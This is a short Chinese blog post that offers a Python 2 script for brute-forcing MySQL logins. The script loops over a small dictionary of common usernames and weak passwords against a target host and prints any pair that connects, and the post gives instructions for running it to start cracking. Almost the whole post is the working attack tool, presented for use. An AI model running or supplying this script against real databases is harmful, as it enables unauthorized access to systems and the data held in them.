Python版Mysql爆破小脚本

Mysql Python版本爆破小脚本,需要安装Python插件MySQL-python.exe,可以看出代码量很少,(注意:里用户名和密码都是类似字典。用法:保存代码为MysqlDatabaseBlasting.py,cmd切换到 MysqlDatabaseBlasting.py路径下,并 执行 MysqlDatabaseBlasting.py即可开始破解 )

import MySQLdb
#coding=gbk
#目标IP mysql数据库必须开启3360远程登陆端口
mysql_username = ('root','test', 'admin', 'user')#账号字典
common_weak_password = ('','123456','test','root','admin','user')#密码字典

success = False
host = "127.0.0.1"#数据库IP地址
port = 3306
for username in mysql_username:
  for password in common_weak_password:
    try:
      db = MySQLdb.connect(host, username, password)
      success = True
      if success:
        print username, password
    except Exception, e:
      pass

相关推荐